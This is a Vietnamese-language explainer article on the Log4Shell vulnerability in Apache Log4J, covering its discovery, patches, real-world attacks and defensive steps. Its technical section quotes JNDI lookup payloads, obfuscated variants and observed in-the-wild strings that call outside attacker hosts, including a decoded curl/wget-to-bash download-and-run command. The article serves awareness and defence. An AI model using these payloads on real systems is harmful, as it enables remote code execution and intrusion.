Java được tìm thấy ở khắp mọi nơi trong các thiết bị liên quan đến I.T như điện thoại di động, máy tính để bàn, máy chủ, thiết bị IoT, bộ định tuyến, máy in, máy sao chép, v.v. Phần lớn các ứng dụng và trò chơi phần mềm phổ biến cùng với các ứng dụng doanh nghiệp tùy chỉnh được phát triển bằng cách sử dụng Java. Một ước tính sơ bộ là 3 tỷ thiết bị chạy Java. Các thư viện Java nâng sự mạnh mẽ của Java lên một cấp độ khác. Một trong những thư viện như vậy là Log4J được phát triển bởi Apache Software Foundation mã nguồn mở. Thư viện Log4J này là một phần thiết yếu của khung ghi nhật ký Java và chịu trách nhiệm ghi lại các thông báo lỗi của một ứng dụng.
Cách sử dụng Thư viện Log4J
Ghi nhật ký giúp các nhà phát triển xem tất cả các hoạt động mà một ứng dụng đang thực hiện và gần như, mọi ứng dụng phần mềm (thậm chí dựa trên đám mây) đều tạo nhật ký cho các lỗi của ứng dụng đó. Thông thường, các nhà phát triển không tạo hệ thống ghi nhật ký cho ứng dụng của họ (để không phát minh lại bánh xe) nhưng thích sử dụng thư viện ghi nhật ký đã được thiết lập sẵn (một quy chuẩn chung trong mã hóa và phát triển) và một trong những cách ghi nhật ký phổ biến nhất thư viện của Java là Log4J .
Vì vậy, gần như mọi ứng dụng (bao gồm các ứng dụng của chính phủ, cơ quan, doanh nghiệp, Microsoft, Apple, Google, v.v.) được viết bằng Java có thể có thư viện này và lỗ hổng trong thư viện như vậy có thể là cơn ác mộng tồi tệ nhất về an ninh mạng và giấc mơ trở thành sự thật đối với các hacker. Hơn nữa, thư viện này là nguồn mở, vì vậy không có số liệu chính thức về số lượng thiết bị / ứng dụng đang sử dụng thư viện này.
Log4J được nhiều ứng dụng phổ biến sử dụng (như Twitter, Apple iCloud), trò chơi (như Minecraft, Steam), trang web , v.v. Cùng với những thứ này, thư viện này cũng là một phần của nhiều khuôn khổ khác như Kafka, Elasticsearch, Flink. Danh sách các ứng dụng, sản phẩm, trình cắm dễ bị khai thác Log4J đang gia tăng liên tục.
Phát hiện lỗ hổng trong Log4J
Báo cáo đầu tiên về một lỗ hổng trong Log4J ban đầu xuất hiện trên 1 st Tháng 12 năm 2021 bởi Chen Zhaojun từ nhóm Bảo mật đám mây của Alibaba, người, với tư cách là người thực hành săn lỗi tiêu chuẩn và với tư cách là một I.T có trách nhiệm. , đã thông báo cho Apache Foundation về lỗ hổng này (mặc dù, một số thợ săn lỗi bán các lỗ hổng đó cho tin tặc và các lỗ hổng đó không bị phát hiện trong nhiều tháng hoặc nhiều năm). Phát hiện đã xảy ra trong Minecraft . Tính năng trò chuyện của Minecraft là nguồn nhận dạng của khai thác Log4J.
Các thuật toán trò chuyện của trò chơi dựa trên API Java sử dụng thư viện Log4J và thư viện này cho phép kẻ xấu đóng băng máy chủ Minecraft, xóa tất cả người chơi, v.v. Trong một môi trường thuận lợi, lỗ hổng này đã dễ dàng bị thao túng bởi Thực thi mã từ xa (RCE) , giúp nâng cao mức độ đe dọa của lỗ hổng bảo mật.
Sự hiện diện của một lỗ hổng trong thư viện Log4J đã được chấp nhận công khai vào ngày thứ 9 Tháng 12 năm 2021 bởi Apache. Lỗ hổng bảo mật được đặt tên dưới dạng Log4Shell và chính thức được gắn nhãn là CVE-2021-44228 . CVE ( C ommon V lỗ hổng và E xposures) hệ thống đánh số là một danh pháp để xác định duy nhất từng lỗ hổng / khai thác được phát hiện trên toàn thế giới.
Log4J được phân loại là zero-day (hoặc 0 ngày) lỗ hổng. Lỗ hổng zero-day có nghĩa là lỗ hổng này đã được nhắm mục tiêu bởi tin tặc, ngay cả trước khi các nhà phát triển biết về lỗ hổng và có zero-day để triển khai bản vá cho việc khai thác.
Các phiên bản bị ảnh hưởng của Thư viện Log4J và các bản vá đã phát hành
Phiên bản Log4J 2.0 đến 2.14.1 được báo cáo là bị ảnh hưởng bởi lỗ hổng bảo mật. Phiên bản Log4J 2.15.0 là bản vá ban đầu được phát hành cho CVE-2021-44228 nhưng sau đó, một lỗ hổng bảo mật khác đã được tìm thấy trong Log4J (hầu hết, ở các cấu hình không phải mặc định) được gắn nhãn là CVE-2021-45046 . Lỗ hổng bảo mật này có tác động đến bảo mật trong tổng số 3,7 (khá thấp so với lỗ hổng ban đầu). Apache Foundation sau đó đã phát hành Log4j phiên bản 2.16 để vá lỗi khai thác trong bản sửa lỗi ban đầu.
Khi chúng tôi đang thực hiện bài viết này, một bản vá khác Log4J phiên bản 2.17 cho lỗ hổng Log4J được gắn nhãn là CVE-2021-45105 (Tấn công từ chối dịch vụ / DoS) được giải phóng khỏi Apache. Thông tin về các bản vá có sẵn trên trang bảo mật Log4J chính thức của trang web Apache.
Nhiều độc giả có thể nghĩ rằng vì bản vá đã được áp dụng cho Log4J, vậy tại sao lại có lông tơ này? Mặc dù phiên bản mới nhất của thư viện Log4J đã được vá nhưng các ứng dụng, sản phẩm, trình cắm, v.v. vẫn đang sử dụng các phiên bản cũ hơn của Log4J vẫn chưa được vá. Ngoài ra, có trường hợp các ứng dụng đã trở thành phần mềm bỏ rơi và đang sử dụng phiên bản Log4J dễ bị tấn công. Abandonware là một sản phẩm phần mềm bị chủ sở hữu / nhà sản xuất bỏ qua / không phát triển thêm và không có bất kỳ hỗ trợ chính thức nào.
Tầm quan trọng của việc khai thác Log4J
Theo xếp hạng tác động bảo mật, việc khai thác Log4J có thể dễ dàng được phân loại là 10/10 (mức độ rủi ro cao nhất có thể). Mức độ của lỗ hổng này lớn đến mức tất cả các công ty lớn (Microsoft, Google, Cisco, v.v.) cùng với các chính phủ và Apache (các nhà phát triển của Log4J) đang làm việc ngày đêm để vá lỗ hổng. Mối quan tâm và phản ứng của các công ty này có thể được nhìn thấy trên các trang web chính thức hoặc tài khoản mạng xã hội của họ. Mức độ nghiêm trọng của lỗ hổng bảo mật có thể được ghi nhận khi Jen Easterly giám đốc CISA (Hoa Kỳ C ybersecurity và I nfra s tructure A gency) đã đề cập đến khai thác Log4J là
Một trong những điều nghiêm trọng nhất mà tôi đã thấy trong toàn bộ sự nghiệp của mình, nếu không muốn nói là nghiêm trọng nhất.
Và do mức độ nghiêm trọng này, các nhà lãnh đạo ngành CNTT nghĩ rằng Log4J lỗ hổng bảo mật sẽ tiếp tục ám ảnh ngành trong nhiều năm sẽ đến.
Tại sao lỗ hổng Log4J không được phát hiện sớm hơn?
Một câu hỏi đặt ra trong đầu nhiều người dùng rằng tại sao một lỗ hổng bảo mật lớn như vậy lại không được phát hiện sớm khi thư viện Log4J có sẵn từ năm 2013. Mặc dù trong Hoa Kỳ 2016 BlackHatEvents một lỗ hổng của Log4J đã được trình bày, thảo luận về JNDI như một vectơ tấn công, trong khi lỗ hổng hiện tại là một kiểu tiêm mẫu cho phép sử dụng JNDI.
Nhưng trong các ứng dụng phần mềm, việc khai thác rất khó bị phát hiện khi các công nghệ mới xuất hiện, đường chân trời của I.T. những thay đổi trong ngành (ví dụ, các ứng dụng phần mềm trước khi phát minh ra Internet và sau khi có Internet là một câu chuyện khác). Ngoài ra, như đã thảo luận trước đó, các phiên bản thư viện Log4J dưới 2.0 không bị ảnh hưởng (chúng có chung các vấn đề), do đó, tiến bộ trong công nghệ là lý do khiến việc khai thác này có thể bị phát hiện.
Các cuộc tấn công bằng cách sử dụng lỗ hổng Log4J
Với khai thác mới trong thị trấn, tin tặc đang nhắm mục tiêu các công cụ của họ để sử dụng khai thác. Phần mềm độc hại được nhận thấy đầu tiên nhắm mục tiêu khai thác là CryptoMiners (khai thác tiền điện tử từ máy bị ảnh hưởng). Tiếp theo là Cobalt Strike (thử nghiệm thâm nhập) để lấy cắp tên người dùng / mật khẩu từ hệ thống bị nhiễm. Sau đó, con tàu đã được tham gia bởi phần mềm độc hại dựa trên ransomware như Khonsari và danh sách đang diễn ra . Và cuối cùng nhưng không kém phần quan trọng, các nhóm tấn công được nhà nước hậu thuẫn bởi các quốc gia khác nhau đang nhắm mục tiêu vào các đối thủ bằng cách khai thác lỗ hổng này. Đây là bản đồ từ ESET về các cuộc tấn công được báo cáo đã thực hiện (số lượng các cuộc tấn công cao nhất ở Mỹ, Anh, Đức, Thổ Nhĩ Kỳ và Hà Lan.).
Cho đến nay, đã có 1800000 cộng thêm sự cố được báo cáo (và đang tiếp tục tăng) các nỗ lực sử dụng khai thác Log4J này của tin tặc. Ngoài ra, gần 40 phần trăm mạng công ty bị tấn công bằng cách sử dụng lỗ hổng này. Tính khả dụng của mã khai thác trên các trang web khác nhau đã làm cho vấn đề tồi tệ nhất. Hơn nữa, mọi thứ trở nên phức tạp vì việc khai thác có thể được nhắm mục tiêu bởi HTTP và giao thức HTTPS .
Nhưng đó chỉ là điểm khởi đầu như thể một sâu phần mềm độc hại nhắm mục tiêu vào lỗ hổng bảo mật được phát triển, thì tác động của nó có thể nhiều hơn lỗ hổng ban đầu. Bởi vì, sâu máy tính là một phần mềm độc lập tự sao chép một cách lặng lẽ và lây lan qua mạng (ví dụ: sâu Code Red vào những năm 2000 hoặc WannaCry vào năm 2017).
Cách hoạt động
Thư viện Log4J (cùng với khung ghi nhật ký) theo dõi ứng dụng đang làm gì và để sử dụng khai thác, kẻ tấn công chỉ cần buộc mục nhập nhật ký trong Log4J bằng một tác vụ đơn giản, ví dụ:đặt tên người dùng của tài khoản hoặc gửi chuỗi mã trong email. Kẻ tấn công tạo mục nhập nhật ký của ứng dụng trong khuôn khổ ghi nhật ký có thể khác nhau giữa các ứng dụng (ví dụ:trong Minecraft, tính năng trò chuyện đã được sử dụng) hoặc máy tính với máy tính. Sau khi mục nhập nhật ký có mã độc hại như vậy được tạo, thì kẻ tấn công có thể tải mã độc hại vào máy, chiếm toàn quyền kiểm soát hệ thống , lây lan qua mạng, cài đặt phần mềm độc hại, khởi chạy một hình thức tấn công khác hoặc những thứ khác.
Phần nguy hiểm nhất của lỗ hổng bảo mật này là nó được “ xác thực trước , ”Có nghĩa là tin tặc không cần phải đăng nhập vào một hệ thống dễ bị tấn công để kiểm soát nó.
Việc khai thác có thể được mô tả đơn giản trong các bước sau :
- Việc khai thác được tin tặc kích hoạt bằng cách gửi một trọng tải độc hại thông qua đầu vào do người dùng cung cấp. Tải trọng này có thể là tiêu đề HTTP / HTTPS hoặc bất kỳ thứ nào khác đang được ứng dụng dễ bị tấn công ghi lại bằng Log4j.
- Ứng dụng nhật ký tải trọng độc hại vào dữ liệu của nó.
- Thư viện Log4J cố gắng diễn giải đầu vào của người dùng độc hại và kết nối với máy chủ do tin tặc kiểm soát (ví dụ:LDAP).
- Máy chủ độc hại (ví dụ:LDAP) trả về phản hồi hướng dẫn ứng dụng tải một tệp Java lớp từ xa .
- Ứng dụng tải xuống và thực thi điều khiển từ xa tệp điều này mở ra cánh cửa cho tin tặc thực hiện các hành động xấu của mình.
Quá trình này được giải thích trong biểu đồ sau:
Bạn có an toàn không?
Vì vậy, sau khi xem qua những điều trên, một câu hỏi xuất hiện trong đầu người dùng là tôi có an toàn không? Nó phụ thuộc . Nếu người dùng là một phần của tổ chức sử dụng thư viện Java Log4J, thì anh ta và tổ chức của anh ta sẽ gặp rủi ro. Nếu người dùng hoặc tổ chức của anh ta không sử dụng bất kỳ thứ gì dựa trên Java (hầu như không xảy ra) nhưng nếu ứng dụng doanh nghiệp phụ thuộc, 3 rd Các tiện ích hoặc ứng dụng của nhà cung cấp bên dựa trên Java, khi đó người dùng hoặc tổ chức của họ có thể gặp rủi ro. Bạn có thể tìm kiếm các ứng dụng bạn đang sử dụng trên Internet nếu những ứng dụng đó dễ bị tấn công.
Làm gì?
Bây giờ, câu hỏi cuối cùng, phải làm gì nếu lỗ hổng Log4J có trong hệ thống hoặc tổ chức của bạn.
Dành cho người dùng
Người dùng cuối thông thường không thể làm bất cứ điều gì quan trọng về lỗ hổng bảo mật này ngoại trừ việc giữ cho các ứng dụng của anh ấy (đặc biệt là các ứng dụng chống vi-rút / chống phần mềm độc hại), thiết bị hoặc hệ điều hành được cập nhật. Nếu người dùng đang sử dụng một dạng phần mềm bỏ rơi , sau đó gỡ cài đặt nó có thể giữ an toàn cho hệ thống của anh ấy. Ngoài ra, nếu bạn đang sử dụng dịch vụ trực tuyến (như Luồng), sau đó đảm bảo rằng họ đã áp dụng các bản vá (kiểm tra các trang chính thức hoặc các trang mạng xã hội của họ) là con đường chuyển tiếp cho người dùng thông thường.
Đối với một tổ chức
Thủ đoạn để bảo vệ một tổ chức khỏi sự khai thác Log4J có thể khác nhau giữa các tổ chức . Bước đầu tiên phải là thực hiện kiểm tra của toàn bộ cơ sở hạ tầng, các phụ thuộc ứng dụng, 3 rd tiện ích của nhà cung cấp bên hoặc nhân viên từ xa để tìm xem lỗ hổng bảo mật có tồn tại hay không. Việc đánh giá nên tìm kiếm nhật ký ứng dụng cho các mẫu sau hoặc nguồn gốc của chúng:
${jndi:ldap:/}
${jndi:ldaps:/}
${jndi:rmi:/}
${jndi:dns:/}
${jndi:iiop:/} Tổ chức cũng có thể sử dụng chức năng săn tìm mối đe dọa tự động và công cụ điều tra (như Log4J Vulnerability Tester của TrendMicro) để tìm ra bất kỳ ứng dụng nào có lỗ hổng Log4J. Nhà phát triển của tổ chức phải được giao nhiệm vụ kiểm tra mã của họ xem có tham chiếu đến lỗ hổng Log4J hay không. Ngoài ra, thiết bị kết nối Internet của một tổ chức nên được vá sớm nhất có thể để tránh thảm họa. Một tổ chức nên hành động càng nhanh càng tốt vì tổ chức phải cạnh tranh với những kẻ xấu đi trước những kẻ khác ít nhất 7 ngày để nhắm vào lỗ hổng bảo mật.
Thứ hai, tường lửa ứng dụng web cũng nên được thực hiện sớm nhất để bảo vệ tài nguyên và dữ liệu của tổ chức. Gần như, mọi công ty lớn (Microsoft, Oracle, Apple, Google, Amazon, v.v.) đều có các dịch vụ của họ được cập nhật và phát hành các bản vá cho sản phẩm của họ. Vì vậy, một tổ chức nên đảm bảo cập nhật tất cả các ứng dụng và dịch vụ mà tổ chức đó đang sử dụng đều được vá mới nhất. Hơn nữa, các tổ chức doanh nghiệp nên hạn chế lưu lượng truy cập Internet không cần thiết để giảm mức độ phơi nhiễm của họ, điều này sẽ làm giảm mức độ rủi ro.
Các khía cạnh kỹ thuật của lỗ hổng bảo mật
Cho đến bây giờ, chúng tôi đã cố gắng đề cập đến lỗ hổng Log4J theo thuật ngữ của người dân nhưng trong phần này, chúng tôi sẽ thảo luận về lỗ hổng Log4J theo thuật ngữ kỹ thuật của nhà phát triển. Lỗ hổng bảo mật này bị khai thác bằng cách sử dụng JNDI Tra cứu (Đặt tên và giao diện thư mục Java). Điều này có thể dẫn đến từ chối dịch vụ (Tấn công vào hệ điều hành Dos. Bất cứ khi nào JNDI tìm thấy một biểu thức như $ {a_Java_expression}, nó sẽ tìm giá trị của biểu thức đó và thay thế nó. Một số tra cứu được hỗ trợ Log4J là sys, JNDI, env, java, Lower và upper. Một số giao thức được hỗ trợ bởi tra cứu Log4J là LDAP, DNS, RMI và IIOP. Để đưa một mục nhập vào nhật ký ứng dụng, kẻ tấn công có thể sử dụng các yêu cầu HTTP tới một máy chủ và khi nhận được yêu cầu, tra cứu Log4J sẽ tải xuống và thực thi lớp độc hại (được lưu trữ trên máy chủ LDAP do tin tặc kiểm soát), nếu thuộc tính ObjectClass trong đối tượng LDAP được định nghĩa là javaNamingReference và có các thuộc tính sau:
javaCodebase javaFactory javaClassName
Sau đó, trình tải đối tượng LDAP sẽ trích xuất nội dung của URL độc hại như được định nghĩa trong javaCodebase và sẽ tạo đối tượng tương ứng trong bộ nhớ . Sau khi phương thức khởi tạo trở lên chính thức, hàm tạo của lớp được đề cập sẽ được thực thi, một mã không đáng tin cậy từ nguồn không đáng tin cậy sẽ chạy trên máy bị nhiễm.
Biểu thức cơ bản nhất mà kẻ tấn công có thể đưa vào Log4J là
${jndi:ldap://{attacker_website}/a} Thao tác này sẽ thực thi mã độc hại được lưu trữ trên:
https://{attacker_website}/{malicious.class} Khi mã độc được thực thi thành công, máy chủ sẽ diễn giải chuỗi dẫn đến các lệnh shell ở các định dạng khác nhau như JavaScript, Java Class, Unix shell, v.v.
Một yếu tố khác làm tăng mức độ nghiêm trọng của lỗ hổng bảo mật là khả năng làm tổ của khối Java $ {} điều này sẽ làm cho việc phát hiện các chuỗi đáng ngờ trở nên khó khăn hơn rất nhiều. Ví dụ:thay vì sử dụng $ {jndi:}, tin tặc có thể sử dụng $ {$ {low:jn} $ {low:di}} sẽ cho phép tin tặc trích xuất thông tin / dữ liệu từ một máy chủ từ xa.
Một câu hỏi thú vị có thể xuất hiện trong đầu người đọc là đặt mã ở đâu có thể truy cập vào thư viện Log4J? Nhiều ứng dụng ghi lại mọi thứ xảy ra với chúng bao gồm các yêu cầu đến như tiêu đề HTTP (như User-Agent hoặc X-Forwarded-For), URI, nội dung yêu cầu, v.v. Điều tồi tệ nhất là kẻ tấn công có thể gửi yêu cầu như vậy đến ứng dụng logger từ tất cả Internet và sau đó có thể đưa ra các lệnh để điều khiển máy bị nhiễm. Quá trình được trình bày rõ ràng trong sơ đồ sau:
Sau đây là một số ví dụ trong số URL được xác định cho đến nay để bắt đầu các loại tấn công khác nhau bằng cách sử dụng thư viện Log4J:
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo}
${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}} Sau đây là một phần của Nhật ký máy chủ HTTP hiển thị nỗ lực khai thác Log4J:
45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}" Chuỗi base64 trong nhật ký ở trên giải mã thành:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
Thao tác này sẽ tìm nạp mã độc hại từ 45.155.xxx.xxx và sau đó chạy tập lệnh bằng cách sử dụng Bash.
Cuối cùng, chúng tôi muốn độc giả của mình cảnh giác chống lại mối đe dọa này và không nên coi thường nó vì có lý do Internet bị cháy do lỗ hổng này.